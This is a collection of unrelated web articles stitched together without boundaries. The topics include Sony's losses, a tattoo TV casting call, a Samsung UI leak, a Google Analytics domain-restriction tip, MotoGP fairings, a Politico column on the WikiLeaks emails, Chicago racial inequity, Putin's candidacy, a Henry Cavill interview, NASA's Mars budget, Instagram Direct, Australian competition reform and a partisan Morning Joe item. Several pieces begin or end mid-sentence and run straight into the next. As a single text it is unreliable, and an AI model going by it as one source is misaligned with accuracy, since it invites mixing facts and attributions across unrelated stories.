The Times of London newspaper said earlier this month that Sony planned to announce closures of Japanese factories and major divisions next month, though the company denied any such plan existed.
The expected loss this business year would be only the second since Sony went public in 1958 and the first caused by troubles in its mainstay electronics business, the Nikkei said.
A one-time charge related to the company’s U.S. film studio business was primarily responsible for the previous operating loss, reported for the year that ended in March 1995, it said.
Apart from restructuring charges and possible further losses on exchange rates, Sony is expected to write down roughly 50 billion yen of its holding in Sony Life Insurance Co, the newspaper said.
The company has assumed the yen at 100 yen per dollar and 140 yen per euro, compared with the current dollar/yen level of 89 yen and euro/yen level of 119 yen. A firm yen cuts into the value of its profits and makes its products less competitive in overseas markets.
Sony shares ended down 8.9 percent at 2,000 yen, compared with a 4.8 percent slide in the benchmark Nikkei average. The company’s shares fell 1.9 percent to $23.10 on the New York Stock Exchange on Monday.
Toshiba closed down 8.6 percent at 385 yen.
($=89.12 yen)Get the biggest daily stories by email Subscribe Thank you for subscribing See our privacy notice Could not subscribe, try again later Invalid Email
Lots of us have been there, got a tattoo on a boozy holiday, stag party etc and regretted it the minute we sobered up.
Or maybe you got your ex-lover's name naively etched onto the bottom of your back and in hindsight your mother was right when she told you it was a bad idea.
But if you have an ink that you've been dying to get transformed into something you actually are happy to have on your body, then you're in luck.
Hit TV show Tattoo Fixers are on the lookout for people from Northern Ireland who've had a inking disaster.
They want the country’s most shocking, outrageous and embarrassing tattoos that need fixing.
Or maybe you don’t have a tattoo that needs fixing...
They also want to hear from people who are planning on getting a new tattoo and have fun, interesting or unique reasons behind wanting one.
For more information simply email your phone number, a bit about yourself and a picture of your tattoo to: [email protected] incomparable @evleaks has offered up another look at Samsung's alleged UI experimentation, this time showing what would appear to be predictive search or information cards, similar to those offered by Google Now. Split into two parts, the collection shows everything from home temperature automation to exercise tracking to flight info, package tracking, appointments, and plenty more.
What differentiates the cards from Google's own service (design aside) is apparent social integration beyond birthdays and commutes. We can see, for example, evidence of check-in or location sharing and media sharing alongside the other cards.
More from that Samsung home screen. pic.twitter.com/5Z0jKKxXYN — @evleaks (@evleaks) January 19, 2014
The nature of both the home screen and the cards would suggest they are still in "mockup" phase, and likely still subject to significant changes. The leak also doesn't give much to go on in terms of interface, settings, or user input, but it's an interesting glimpse nonetheless.
Readers may remember @evleaks' previous peek into possible Samsung UI tests, which first gave us a glimpse of these cards, along with another view of the home screen and a lock screen.
As with any leak, it's worth noting again that these could be simple concepts or even totally fabricated. Only time - and Samsung - can tell us if what we're looking at will appear on a future Galaxy device.
Source: @evleaksHow to disable and ignore Google Analytics tracking during development
While I was finishing off the last few tweaks of Redlight, an open-source E-Commerce template, I begun to notice my Google Analytics dashboard was recording page views and events from my local development environment. Since I use Google Analytics for a lot of my open-source and client projects, I decided to investigate this further and find a solution.
After a quick Google bashing I found a few answers, but none seemed to be a quick and clean approach to the problem. One of the solutions proposed was to add a custom exclude filter by IP address, however, since I generally work in several different places during my work day, this did not seem to be a viable solution to my problem.
Eventually I stumbled upon some Google Analytics documentation which explained how a developer can customise the cookie settings for creating a ga Javascript object. Amongst these settings, there is a cookieDomain option which enables a user to define the domain which is allowed to register and send Google Analytics data. The default value for this is auto, however, this can be customised to your own production domain, for example:
<script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-74266457-1','redlight.tomdallimore.com'); ga('send', 'pageview'); </script> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <script> ( function ( i, s, o, g, r, a, m ) { i [ 'GoogleAnalyticsObject' ] = r ; i [ r ] = i [ r ] || function ( ) { ( i [ r ]. q = i [ r ]. q || [ ] ). push ( arguments ) }, i [ r ]. l = 1 * new Date ( ) ; a = s. createElement ( o ), m = s. getElementsByTagName ( o ) [ 0 ] ; a. async = 1 ; a. src = g ; m. parentNode. insertBefore ( a, m ) } ) ( window, document,'script', '//www.google-analytics.com/analytics.js', 'ga' ) ; ga ( 'create', 'UA-74266457-1','redlight.tomdallimore.com' ) ; ga ('send', 'pageview' ) ; </script>
As you can see from the above snippet, I have defined the domain for the webpage as an parameter value when creating a ga object. This enables us to restrict the domain for any Google Analytics events and/or page views on your application.
If you would like more information, please check out the Google Analytics documentation:
https://developers.google.com/analytics/devguides/collection/analyticsjs/cookies-user-id#automatic_cookie_domain_configuration
08th March 2016Update: Yamaha and Aprilia, like Suzuki, have homologated their special fairing -
but they do not plan to use it this weekend. Honda, like Ducati, have not yet homologated a special fairing.
As a follow-up to yesterday's story about homologated fairings for the 2017 MotoGP season, some interesting details have emerged of Ducati's aerodynamic strategy.
Manufacturers have responded to the ban on external winglets by testing special fairing designs that 'integrate' (cover) the aerodynamic devices, to try and restore some of the lost downforce, but are now also restricted to just one in-season fairing update.
Thursday in Qatar was the deadline to homologate the first of the two 2017 fairings, which can be used alongside a (wingless) 2016 version.
Suzuki was the only manufacturer to use a special 'winglet' fairing during Thursday practice, meaning it was unclear which fairings had been homologated by the other manufacturers (Honda, Yamaha, Ducati and Aprilia - KTM is exempt).
But Crash.net understands that Ducati opted not to homologate the radical 'hammerhead' or 'F1'-style fairing used during the recent pre-season test and instead chose to homologate a newer (2017) version of its standard fairing.
The 2017 fairing homologated by Ducati in Qatar. Special 'hammerhead' fairing might be seen later as the in-season update. #QatarGP #MotoGP pic.twitter.com/RYwMUwAuxb-- Crash.net MotoGP (@crash_motogp) March 24, 2017
That fairing was then used by Jorge Lorenzo Andrea Dovizioso and Danilo Petrucci during Thursday practice. While the rules allow Ducati to also use its Valencia 2016 fairing design, if they wish, bike changes mean the 2016 fairing is not compatible with the GP17.
It seems the Ducati 'F1' fairing did not work as planned during the Qatar test, causing a 10km/h reduction in top speed and additional cornering difficulties.
The fairing will thus undergo further development before potentially being homologated for use later in the season, as the team's one in-season update.
Until then, Ducati - which pioneered the modern era of MotoGP winglets - will have to compete without any downforce devices on its bikes.Getty Images Fourth Estate The Clintonites Should Stop Freaking Out About WikiLeaks
Jack Shafer is Politico’s senior media writer.
The Clinton campaign has a three-fold plan to interrupt press coverage of the gusher of emails sent to and from campaign chair John Podesta’s account and released by Julian Assange’s WikiLeaks organization. The first is a Fight Club-style vow of silence about the emails, which appear to have been hacked, as Podesta and the campaign have refused to confirm or deny their authenticity to reporters. “Don’t have time to figure out which docs are real and which are faked,” Podesta tweeted.
The second has been to call attention to what appears to be the emails’ tainted provenance.
Story Continued Below
“Media needs to stop treating Wikileaks like it is same as FOIA,” tweeted Clinton press secretary Brian Fallon on Monday in one of five tweets on that theme. “Assange is colluding with Russian government to help Trump.” That WikiLeaks hasn’t released material on Trump, Fallon continued, “tells you something.”
The third has been to assign Clinton surrogates to the talk shows to dismiss the significance of the very documents that have so upset Fallon.
Of the three strategies, the second seems more imaginative. Going beyond the traditional dialectic of confirm-or-deny, Fallon hopes to totally delegitimize the emails by branding them as the dark fruits of a scurrilous foreign power. The subtext of Fallon’s protest is that no matter what reporters dig out in the voluminous Podesta emails, their stories will be polluted by the motives and methods behind their acquisition.
Fallon is floating a very large crock here. Real reporters don’t treat Freedom of Information Act requests the way he implies. That is, reporters don’t FOIA the government for a stack of documents and then, upon receiving them, blindly publish the stack or their gleanings and call it a work of journalism. No document obtained via the FOIA process is automatically a reliable source upon which a sound story can be built. Its contents must be tested, verified, cross-examined and blended with other information before it has any business being placed in a news story. The same goes for court proceedings, corporate documents, scientific papers, and audio and video recordings, only double.
Clinton’s allies warn us that because the WikiLeaks dump may contain forgeries—not a fully imaginary admonition, mind you—reporters should keep their distance for their own good. Forged documents are as old as journalism itself, and as technology grows more sophisticated, more forgeries will appear, and reporters will have to be even more vigilant lest they be hoodwinked. But if the Clinton forces had journalists’ best interests at heart, they’d agree to help confirm or deny the contents of the more salacious emails. But they don’t, so they won’t. Until they do, we should consider their warnings about WikiLeaks forgeries to be mostly about throwing reporters off the trail, not preventing the spread of disinformation.
In some corners, the WikiLeaks documents are considered radioactive because they were, purportedly at least, hacked and not merely leaked. This is a difference without a distinction. In both cases, information has been improperly obtained and improperly shared, with laws broken in the process. In most cases, both are criminal acts. Should it matter to journalists that the Podesta emails might have been liberated by, to put it in Fallon’s words, an “illegal hack by a foreign govt.”? Absolutely! That’s a great story! I’d run that story! But angels almost never leak. If reporters limited their appetites to only heavenly leaks, they’d starve. I say that if the material is strong enough, you hold your noise and publish the best and most accurate stories you can from them.
One indicator that the hacked Podesta emails are legit is that they are so boring. One of my Politico colleagues who has plowed through hundreds of them looking for news calls them “The Big Yawn.” The characters in the Podesta emails come off less like Machiavellian schemers than harried politicians responding on the fly with a mixture of bravado, strategy and improvisation to unfolding events. They’re not in control. Like most everybody else in Washington, they’re reacting.
This is not to say that the emails contain no news value. From them we gain a sense of how the Clinton team works together, what Clinton said in her Wall Street speeches and more on the political sabotaging of Bernie Sanders. We learn that Clinton aide Doug Band was feuding with Chelsea Clinton at the Clinton Foundation. That Hillary Clinton has made herself expert in taking both sides of an issue. That Donna Brazile leaked CNN Town Hall questions to the Clinton campaign. That Podesta was courting Martin O’Malley in February, hoping to win his endorsement for Clinton, of petty squabbles involving Lanny Davis and Robby Mook, and that Podesta was phone buddies with Justice Ruth Bader Ginsburg.
Future emails leaks may contain stronger meat. For my sake, and for the journalists assigned to wallow in them, I hope so. But so far, there is less journalistic significance in the confidential emails Team Clinton is zipping around than in the wild, prolific and quite public tweets that Donald Trump issues nearly every hour.
******
If you don’t want to see sausage made, don’t eat sausage. Or something like that. Send mangled clichés via email to [email protected]. My email alerts are forgeries, my Twitter feed is controlled by a foreign power, and my RSS feed has a head of prematurely silver hair.Despite some progress, significant racial inequities have stagnated, and in some cases grown worse, in Chicago since the civil rights movement, according to a new report by University of Illinois at Chicago researchers.
Racial and ethnic inequality in Chicago is so “pervasive, persistent, and consequential” that the investigators describe life for white, black and Latino residents in Chicago today as a “tale of three cities.”
The report, “A Tale of Three Cities: The State of Racial Justice in Chicago,” is produced by UIC’s Institute for Research on Race and Public Policy. It details the divergent conditions for blacks, Latinos and whites in the intersecting domains of housing, economics, education, justice and health.
Present-day challenges facing the city and its residents are partly due to a “failure to address the long-term consequences of decades of formal and widespread private and public discrimination along with continuing forms of entrenched but subtle institutional and interpersonal forms of discrimination,” the report states.
“On virtually every indicator of inequality available, black people in Chicago are doing worse than everyone else, with Latinos not far behind,” said Kasey Henricks, report co-author and a postdoctoral associate in the institute.
Among the findings:
Housing
-High black-white segregation levels persist even among the city’s most affluent households. Black households earning over $100,000 annually are almost as likely as those earning less than $25,000 to be segregated from whites.
-Even when they possess equivalent measures of creditworthiness compared to whites, black and Latino households are more likely to secure mortgages that have high interest rates, ballooning payment schedules, and numerous extra fees.
-Black and Latino neighborhoods were especially hard-hit in the foreclosure crises, and large portions of some minority neighborhoods continue to experience long-term vacancies with as much as 10 percent to 25 percent of housing stock abandoned in places like Englewood and Riverdale.
-The aftermath of the Great Recession has left more black and Latino homeowners and renters cost-burdened, spending 30 percent or more of their income on monthly housing or rental costs.
Economics
-Over 30 percent of black families, around 25 percent of Latino families, and less than 10 percent of white families live below the poverty line.
-In 1960, the typical white family earned 1.6 and 1.4 times more than the typical black and Latino family. Today, the typical white family earns 2.2 and 1.7 times more |
was first to announce this; leader of the Liberal Democratic Party of Russia, Vladimir Zhirinovsky, and the founder of Yabloko, Grigory Yavlinsky, also intend to run for president.
Putin has yet to officially announce his nomination as a candidate. In the summer, in response to a question from Buryat victims of fire, he promised to “think about it.” Last week, at a plenary meeting of the Russian Energy Week Forum, Putin reiterated he had not yet decided whether he would run.
At the same time, he added that the presidential campaign might be launched “in late November or early December.” However, some media believe that Putin's election campaign has already begun on an informal basis. Western representatives have no doubt that Putin will not only be nominated as a candidate, but win.
Earlier, sociologists had conducted an experiment in which it was found out that a significant part of Russians (18%) were ready to vote for anyone, if this person was supported by Vladimir Putin. In particular, it concerned supporting a certain Andrey Semyonov, fake candidate invented by sociologists. The Kremlin called those results a sign of absolute confidence in the authorities of this part of society.
The other day, it was reported that Putin began to receive deputies' petitions asking him to run for a new term due to the “threat of society collapse.” However, there are also those who call upon Putin “to leave with his head held high.” Experts have even made a rating of politicians who theoretically could replace Putin as President of the Russian Federation. The top three leaders included Prime Minister Dmitry Medvedev, Moscow Mayor Sergey Sobyanin, and Tula Governor Aleksey Dyumin.The latest Bloodstained: Ritual of the Night Kickstarter update is asking for feedback on different character and background styles for the game.
Here’s a brief look:
Voting is available here.
Here’s a message from project director Koji Igarashi:
Greetings!
Last time, we turned to the backers for input on which shaders to use in the game. Based on that, we’ve gone back and put tons of time into making improvements. In particular, the background we revealed in the previous update was just arranged for our own experimentation; for this update we’ve put much more detail into it. This may make it easier for you to see which direction we’re aiming for.
Of course, as we add more detail to the background the characters become more prone to blending into the background. Some of you have noticed the characters’ proportions changing in the art and early screenshots—we’re making adjustments as we build the game to maximize the contrast between character and background. We’ve made more changes for this update, and adjustments will likely continue as we get farther into development.
One you may notice is that Miriam has two long ribbons attached to her shoulders now. When we tested her original graphic, it was hard to pick her out against the background, because there wasn’t much on her costume that moved or swayed. (The design of her left shoulder has changed, too, as some of you pointed out; this is the reason why.)
For this third shader, we’ve increased the contrast of the background and edited the lighting to polish the overall effect. The first shader also looks different against a more detailed background, so I think there’s a different effect to that one, too. Which one do you guys like? To be honest, opinions are divided within our team!
We spent an enormous amount of time and effort on this third character shader to create an illustration effect. We tried to get closer to the requests of backers who hoped she would look more like the original design illustrations, and when I first saw this shader, I have to admit I was so impressed I actually gasped.
So we’ve compiled a few options of these background and character shaders put together and would like to see what you think. And, as I’ve pointed out in the latest Ask IGA, this will be our final request for art-direction feedback. I’d like to ask for any final thoughts you have now, so we can move forward and start putting things in motion.When asked about your weaknesses in a job interview, the old joke is that you should always answer: “I care too much …”
But that’s actually the truth about Clark Kent’s heroic alter ego in the new DC cinematic universe. As Batman v Superman: Dawn of Justice heads to theaters March 25, Entertainment Weekly has been talking with the filmmakers and stars about where things will go after 2013’s Man of Steel.
Henry Cavill literally describes his Superman as the new guy on the job, one who knows he messed up while trying to save the world the last time around. It sounds like a fair amount of regret hangs over the head of this superhero, and now he has invoked the ire of this bizarre man in a bat costume from neighboring Gotham City.
Here are the actor’s thoughts on what Kal-El is facing in Dawn of Justice, and how he’s learning on the job…
Entertainment Weekly: This film has been in the works for three years, so what are your earliest memories of getting back into the cape and picking up the story after Man of Steel?
Henry Cavill: My first memory of getting back into it was delving back into the comics and finding bits of personality. Obviously, I had to wait for the script to come back so I knew what I was allowed to implement, and then it was just about trying to get as much of Superman’s character into the script as possible — as far as how I saw it — and of course everyone has their different viewpoints on the character. My lasting memory, was going back to the comic books and really exploring the psychology of the man with the hope that I could apply it to the script.
GALLERY: Inside the Superhero Grudge Match in Batman v Superman: Dawn of Justice
Kryptonite has become a synonym in the English language for a weak spot, an Achilles heel, but beyond that these movies have taken the fact that Superman can’t save everyone and made that a weakness. I think that’s a very human weakness to have.
For me, when it came on to Superman’s weakness, it’s inside him. It’s the fact that he does really love humans. He loves what they bring to the world, he loves this planet and who he lives alongside, and he wants to really, really help them. We could go deep into the psychology of what that means and what that makes ones intentions on a daily basis when you’re a super-powered alien.
Not only is he bulletproof, but he can withstand a lot of cruel treatment from us.
Essentially it’s that. That’s his weakness, that he doesn’t want to hurt anyone. He doesn’t want to scare anyone, and in that you can take advantage of him. It makes it very easy to take advantage of him. … This is someone who is a complete amateur, and he’s facing up against someone who is very well versed in the arts of war.
Clay Enos
That’s the way religions of the world talk about God, isn’t it? That God loves us even if we’re horrible, even if we do the worst things imaginable. It’s interesting seeing that element in Superman.
I mean, there’s always been some parallels drawn, theological parallels drawn between Superman and various religions. I do my best to draw parallels just between mythological heroes if I can, and yeah, because religion’s a dangerous ground. That’s a minefield.
After the destruction we saw in Man of Steel, is Superman suffering from a kind of survivor’s guilt, since he saved the world, but destroyed a city?
I wouldn’t necessarily say it’s a survivor’s guilt. I mean, that’s a different kind of thing because he’s above the threat. I think the most difficult thing for him at this stage of the story is that he has just come to terms with the fact that he is really, really quite powerful and he hasn’t found any major vulnerabilities yet, and despite this, despite the enormous power that he has, he still cannot do everything, and he really struggles with that. It’s not just a quick, “Okay, I get it. I can’t save everyone.” That takes a long time to work out.
RELATED: How Batman v Superman: Dawn of Justice maps out DC’s movie universe
There were complaints from some fans that it was out-of-character for Superman to allow the Man of Steel fight to cause such destruction and loss of life. In Batman v Superman, that anger is part of the story – it’s why Bruce Wayne hates Superman. Did it surprise you that they incorporated that?
I think that may have been part of the master plan all along. When it comes to the major story stuff I can’t really speak on that, because that was above my paygrade. What I can speak of is the idea of Superman, especially when the finger is pointed at collateral damage in the first movie. I mean, we’re talking about a greenhorn.
Do you think he’d do it differently now?
Let’s say now, [if] Superman has the same threat again, that’s a different story. He would, of course, bring collateral damage to an absolute minimum, but in that, he’s just trying to survive because if he doesn’t, the planet’s gone. That’s the excuse I make for Superman. He’s fresh and he’s new, and it’s very easy to point out the faults in someone after they’ve done it, but put yourself in their shoes and see what happens.
In the past, some have complained Superman is too perfect. But give them the flawed hero, and there are complaints that Superman should be perfect. It seems like your Superman deals with the same problem. He seems to want the world to cut him a little bit of slack.
I mean, it’s going to be impossible to please everyone anyway, but I think there is huge potential to provide Superman with the weakness that people crave in the future and expand upon story stuff without offending the lore of Superman. It’s a fine line to tread because we’re in a different age now, but I think we can tell a fascinating, interesting story where Superman has his weaknesses and is also doing the thing which we expect Superman to do. He’s being the ideal. It shouldn’t be easy to tell the story of Superman.
Shouldn’t this Superman be a little angry? He saved the world, but that doesn’t seem to be enough for everyone.
The thing about Superman is that although he is physically infallible, psychologically he’s very much vulnerable to the same things that make us vulnerable. When you’re doing your best, your utmost, and you still can’t save everyone, and then people point their finger at you and call you the bad guy, I mean, that would be enormously frustrating. I know the human reaction would be, “Hold on a second, F-you man,” and his reaction is the first half of that: not quite the ‘F-you.’ It’s the hurt.”
RELATED: Details of the R-rated ‘Ultimate Edition’ of Batman v Superman: Dawn of Justice
Are there any offbeat Superman stories from the comics that you’d especially love to see in film? I always loved Mark Millar’s Red Son, where Superman lands in the Soviet Union instead of Kansas…
I think the offbeat stories are great, and I read Red Son in particular before I did Man of Steel, to get an idea of the baseline of the character because despite the fact that it’s offbeat and he’s grown up in a completely different environment, the character is still, at it’s very core, the same thing, and I love that. I think what’s important now is to tell a story which is dedicated to sharing the same character in the comic books in the cinematic universe, and then after that’s been established, then we can start exploring some more of the offbeat stuff.
Now, your Batman, Ben Affleck, played early Superman actor George Reeves in a movie called Hollywoodland a few years ago. So, for you, as an actor who is now playing Superman, I wondered if you had any interesting conversations with him about him playing a guy who once played the same iconic role.
I didn’t actually. Maybe I should have a good long chitchat with him about that.
What do Batman and Superman talk about when you’re both in costume between takes?
Like, “Do you need to pee?” “Yeah, I need to pee.” “Should we go now or wait?” “How much time do you think we’ll have between shots?” [Laughs] That’s pretty much it. The process.
To continue reading more on Batman v Superman: Dawn of Justice, pick up the new issue of Entertainment Weekly – or buy the Batman and Superman covers here – and subscribe now for more exclusive interviews and photos, only in EW.
For more DC movie news, follow @Breznican.For the last few years, we’ve been able to frame NASA’s research and exploration with the goal of reaching Mars. The agency has been saying it wanted to land a human on the red planet in the 2030s, but now that’s looking less likely. William Gerstenmaier, NASA’s associate administrator for human exploration, has noted that NASA simply doesn’t have the money to make a Mars landing happen. The technology to reach Mars isn’t cheap, and no one seems willing to pay for it.
NASA’s budget has been essentially flat for the last decade. Gerstenmaier’s statements came at a meeting of the American Institute for Aeronautics and Astronautics, where he explained the problem with Mars missions. Landing on Mars is extremely challenging, and it will cost a lot of money to create systems reliable enough to send humans there. Well, if you want them to come home, that is. Even the expensive robotic missions have been hit or miss. Of the 16 attempted landings on Mars since 1970, only seven of them have been successful. The most recent failure was the ExoMars lander, which crashed because atmospheric turbulence caused it to tumble much faster than expected.
Mars has basically the worst possible set of traits for successful landings. Sending people to the moon was no easy feat, but the moon had very little gravity and no atmosphere. Thus, propulsive landing was feasible and the craft didn’t need heatshields. Mars has more gravity, but the atmosphere is too thin for parachutes to do all the work. At the same time, the atmosphere is just thick enough to make landings unpredictable and require the use of heatshields. That’s why Curiosity used a wacky skycrane contraption to land on the surface.
NASA has looked into a skycrane system to land larger craft, but the numbers are tough. Curiosity had a total mass of two tons, but a manned lander would probably clock in at 10 or 15 tons. It’s unclear if it would be possible to land something like that on Mars with our current technology.
So, what about SpaceX? The firm founded by Elon Musk has gotten extremely good at landing rockets on Earth, and it aims to launch an experimental Mars mission as soon as 2020. It took SpaceX a while to figure out how to land in Earth’s atmosphere, so it might take a few tries to get the kinks worked out on Mars. At that point, the process needs to be tested and confirmed safe for humans. It’s impossible to know if that would be possible by the 2030s.
In the meantime, we can at least look forward to the 2020 rover mission, which will tell us more about the potential for life on Mars.My friends aren’t using Instagram Direct, at least not yet. I’ve received just two IGD messages since it launched Thursday. In the meantime, over 20 close friends I regularly message with elsewhere have posted publicly to Instagram, and I’ve received about 60 Snapchat Snaps from 18 different people. It’s obviously early, but right now, I’m more inclined to bet against Instagram Direct than on it.
Yes, this is all anecdotal, but I have a few theories to back it up.
It’s not that you can’t teach an old dog new tricks. I’ve seen pretty strong adoption of Instagram Video in my network. It’s that you can’t teach an old dog to be a cat.
Instagram found a place in our hearts as an app for broadcasting moments. Take a photo (or later a video) and share it publicly, and specifically, to people who follow you. Now Instagram wants us to use it for private sharing. Take a photo or video and send it to one person or a small group. Those are entirely distinct species of communication.
Convincing a userbase to break their ingrained behavior pattern and use an app for something completely different is a tough sell. And it’s a lot tougher if that “something different” is actually “something you can do elsewhere”.
If I want to share a photo with a few friends, I can text it, email it, or Facebook message it. These each let me get friends’ reactions and have a conversation around the photo. In fact, they’re all more flexible than Instagram Direct in that I can reply with another photo — the absence of that feature is my biggest gripe about IDG. It also suffers from a creation interface that’s too slow for sharing to such a limited audience. Filtering and adding a witty caption bog down the flow, making Instagram Direct too time intensive to be a rapid-fire visual communication tool.
And of course, if I want to private message someone a photo or video, I can Snapchat them. Snapchat has carved out a purpose and following with ephemerality — something that’s actually different. I can’t send a photo that disappears with any other major messaging service, so I go to Snapchat when I have something silly or racy to share.
So really, the problem is that Instagram Direct is too different from Instagram, and not different enough from everything else.
You’d think Facebook would have learned these lessons. Poke, its attempt at visual communication and beating Snapchat failed because it both demanded we change our behavior but didn’t offer something new. When we think of Facebook, we think of sharing something permanently, either on our timeline or in a message. Ephemeral messaging through Facebook didn’t feel entirely natural, and the company’s history of privacy stumbles made it hard to trust with such sensitive content. Meanwhile Poke was just a blatant Snapchat clone without much unique value to add.
Last week I argued that if Instagram wasn’t building private messaging, it should have been. It may still be a product Instagram should have to try to capture as much total usage time as possible and box out competitors like Twitter and Snapchat. Direct may find a niche userbase that could grow as it iterates and starts to feel it better in the app. Again, it’s still early. And by “fail” I mean not capture a big portion of private photo sharing the way Instagram’s main product captured a big portion of public photo sharing.
In its initial execution, Instagram Direct seems like a tacked-on alternative to broadcasting instead of a spacial complementary backchannel. Rather than letting you easily communicate back and forth with photos like a conversation or talk about photos already shared publicly, Instagram Direct messages are more like private posts with comment reels that don’t feel totally natural. Rather than providing an experience you can’t get anywhere else, it’s currently just another way to do the same.
Instagram changed photography by attaching a social network to the camera itself. Instagram Direct hasn’t because we’ve had a phone attached to our cameras for a while now.Cardinal to host UCD in NIT first round Tuesday
Playing in the National Invitation Tournament for the third time in four years, Stanford will play UC Davis in the first round at Maples Pavilion on Tuesday at 8 p.m.
The Aggies (25-6) received an automatic bid to the NIT as the Big West Conference’s regular season champion with a 14-2 mark. They lost to Hawaii 65-58 in the semifinals of the conference tournament.
“We’re excited to still be playing,’’ Stanford coach Johnny Dawkins said. “A lot of teams aren’t. We still have the opportunity to play for a championship. Our young kids have an opportunity to grow as they get some postseason experience.’’
Corey Hawkins, the son of former NBA player Hersey Hawkins, led UCD in scoring with 20.4 points per game. He leads the nation in three-point shooting accuracy at 49.0 percent (77 for 157).
He’s also Dawkins’ godson. “I know him very well, and he is a terrific shooter,’’ Dawkins said.
Under former NBA player Jim Les, the Aggies won 11 of 12 games before the loss to Hawaii.
Stanford forward Michael Humphrey, right, points to a teammate after scoring against California, next to teammate Reid Travis during the second half of an NCAA college basketball game Saturday, Feb. 21, 2015, in Stanford, Calif. Stanford won 72-61. (AP Photo/Eric Risberg) less Stanford forward Michael Humphrey, right, points to a teammate after scoring against California, next to teammate Reid Travis during the second half of an NCAA college basketball game Saturday, Feb. 21, 2015,... more Photo: Eric Risberg, Associated Press Photo: Eric Risberg, Associated Press Image 1 of / 4 Caption Close Cardinal to host UCD in NIT first round Tuesday 1 / 4 Back to Gallery
If Stanford wins, it would host the winner of the Rhode Island-Iona game. If the Cardinal survive, there’s a chance they could host St. Mary’s in the third round.
The Cardinal (19-13) are coming off an 80-56 loss to No. 17 Utah in the Pac-12 Tournament quarterfinals in Las Vegas. It was their eighth loss in the last 12 games.
Freshman forward Michael Humphrey is likely to miss his fifth straight game as a result of a sprained ankle. Rosco Allen will start in his place.
Stanford is playing in the NIT for the eighth time. It won it in 1991 and again in 2012.
The first three rounds of the 32-team tournament are played on campus sites. The semifinals March 31 and the final April 2 are at New York’s Madison Square Garden.
The only other Pac-12 team in the NIT is Arizona State, which visits UConn, last year’s national champion, in the first round."Previous national competition policy reforms in response to the Hilmer review in the 1990s and early 2000s delivered efficiency improvements that boosted Australia's GDP by 2.5 per cent," Mr Morrison said. He said in the aftermath of the commodities boom, Australia's economy would depend critically on increasing productivity, and competition policy was one of the surest ways to lift long-term productivity growth. The government will now work with state and territory governments to sweep away the most enduring market restrictions faced by Australians in their everyday lives, granting new access to goods and services from taxis and books, to 24/7 shopping on all but a few public holidays. It will also pursue dramatic changes to road transport regulations, rules governing shipping, and online shopping, with restrictions on the so-called parallel import of goods such as books, instant coffee and software also vanishing. Big business groups, major retailers, motoring groups and consumers welcomed the government's response to the review.
"These reforms are the most significant of their kind in over 20 years and once implemented should boost economic growth significantly," said Rod Sims, the chairman of the Australian Competition and Consumer Commission. Business Council chief executive Jennifer Westacott said if implemented well, Tuesday's announcement would be a "defining moment in Australia's economic journey". "The national competition reforms of the 1990s left Australia a more competitive and stronger economy, delivering robust real wages growth and a sustained lift in productivity. The comprehensive reform agenda announced by the Treasurer today has the potential to do the same," Ms Westacott said. The government will adopt 44 of the review's 56 recommendations in part or in whole, hoping to boost competition and help Australia adapt to dramatic changes in the global economy. It said it remained open to the 12 remaining recommendations, depending on further consultation with state governments and industry.
The government has not adopted the review's recommendation regarding section 46, which refers to the legal definition of harmful competition. Instead, it will release a discussion paper specifically on this issue, with comments due by February 12, which will then be considered by cabinet by the end of March, at which time the government will announce its final position. It has "noted" the recommendation to remove restrictions on pharmacy ownership and location rules. The government said it had agreed, with the Pharmacy Guild, to an independent public review of pharmacy remuneration and regulation, with a final report due by March 1, 2017. "So we've rejected not one recommendation in this report," Mr Morrison said on Tuesday.
Professor Harper told Fairfax Media he was very happy with the government's response, including its decision to seek further consultation on some recommendations. "Section 46 was the most controversial of all the recommendations, as you're aware, so it makes perfect sense for the government to attempt to see if it can't broker some greater agreement between parties who are very strongly divided on the issue," he said. But small business groups, the National Farmers' Federation, and Senator Nick Xenophon have all criticised the government's decision to delay, yet again, any decision on the controversial recommendation regarding section 46. Infrastructure Partnerships Australia said it was the first public commitment by a national government to fix road and rail transport. The Retail Council said it was very happy the government would pursue retail trading hour reform, planning and zoning reform, and will remove parallel import restrictions.The daily car crash that is MSNBC’s Morning Joe did not disappoint Thursday, with Joe Scarborough attacking Mike Huckabee after the former Arkansas Governor defended his daughter, White House press secretary Sarah Huckabee Sanders.
Appearing on Fox News, Huckabee responded to a verbal attack on his daughter made by Morning Joe co-host Mika Brzezinski, who lectured the press secretary for defending President Trump.
“Go home. Go home. You’re doing nothing if you stand by this president.” Brzezinski said Wednesday of Huckabee-Sanders, demanding that the Press Secretary should resign for telling reporters to get their minds out of the gutter and to stop applying sexual connotations to what the President says.
Brzezinski’s outburst was part of a wider verbal tirade against the women surrounding Trump, including his own wife and daughter.
“I was stunned that of all the people who are going to give a lecture on morality and family, and marriage, it’s going to be Mika? I’m sorry, but I just found that stunning,” Huckabee told Fox host Martha MacCallum.
“I’ll probably have to take half a baby aspirin tonight just to be able to get to sleep because Mika Brzezinski attacked my daughter, who is one heck of a strong lady, a great mom, a lovely wife, and a terrific public servant,” he said.
“She deserves better from other women and it just amazes me that even the women who say they are feminists are doing everything they can to discredit my daughter,” Huckabee continued. “To her credit, my daughter stands strong and tough and walks into that lions den of a press room every day and I believe represents women, represents the president and represents strength in an incredible way.”
The former Arkansas governor added, “Mika can go pound sand somewhere as far as I’m concerned.”
“The fact that some people read that tweet and immediately saw something sexual in it says a whole lot more about the people who read it than it did about the president because those are the exact kind of words that he has, in fact, used time and again.” Huckabee also noted.
While Huckabee was lauded for eloquently defending the Press Secretary, who has also been the target of attacks by leftists regarding her appearance, Joe Scarborough was apparently disgusted that a father would defend his daughter.
“What a sleazy thing to do,” a visibly angry Scarborough said, adding “You go and you actually talk about — Mika never talked about marriage.”
“She never lectured on the morality of any of that,” he exclaimed. “What a sleazy thing for you to do. What a judgmental, predictably stupid thing to do.”
“It’s unbelievable.” Scarborough raged.It's no secret that Europe has a rich history with ecstasy. As one of the epicentres for dance music culture and home to a known hub of ecstasy production, the Netherlands, it has had an undeniable connection to the club drug. But since the dawn of the new millennium, levels of MDMA in pressed pills sold within the continent were actually decreasing.
